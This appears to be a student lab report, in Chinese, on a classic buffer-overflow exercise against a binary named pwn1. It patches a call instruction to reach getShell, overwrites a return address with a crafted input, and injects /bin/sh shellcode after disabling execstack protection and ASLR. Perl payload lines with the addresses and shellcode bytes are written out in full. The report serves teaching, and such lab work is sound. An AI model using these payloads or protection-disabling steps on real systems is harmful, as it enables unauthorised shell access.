实验内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
-
注入一个自己制作的shellcode并运行这段shellcode。容
基础知识
- 熟悉Linux基本操作,能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
-
会使用gdb,vi。
实验步骤
一,直接修改程序机器指令,改变程序执行流程
输入objdump -d pwn1 | more反汇编pwn1,可以看到call 8048491,是说将调用地址为8048491的foo函数,对应机器指令为“e8 d7ffffff”
- 我们想让它调用getShell,只要修改“d7ffffff”为,"getShell-80484ba"对应的补码就行,为c3ffffff
- cp pwn1 pwn2
- vi pwn1
- 在vi内 ①按ESC键②输入:%!xxd③输入/d7④修改d7为c3⑤转换16进制为原格式:%!xxd -r ⑥:wq保存退出
-
再反汇编看一下,call指令是否正确调用getShellroot
objdump -d pwn1 | more二,通过构造输入参数,造成BOF攻击,改变程序执行流
- gdb pwn2
- r
- info r
- r
- 观察eip的值为0x35353535,如果输入字符串1111111122222222333333334444444412345678,eip的值为0x34333231
- 退出gdb,输入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 使用16进制查看指令xxd查看input文件的内容
-
(cat input; cat) | ./pwn1
破解成功三,注入Shellcode并执行
- 输入指令apt-get install execstack安装execstack
- execstack -s pwn1
- execstack -q pwn1
- 'echo "0" > /proc/sys/kernel/randomize_va_space 关闭随机化
- perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- ps -ef | grep pwn能看见当前运行pwn3的进程号为35148
- 在gdb里面attach 35148进行调试
- disassemble foo反编译
- ret指令的地址为0x080484ae,在此处设置断点break *0x080484ae
- c
- info r esp查看esp寄存器地址
- x/16x 0xffffd30c以16进制形式查看0xffffd30c地址后面16字节的内容
- perl -e 'print "A" x 32;print"\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn1
成功!!!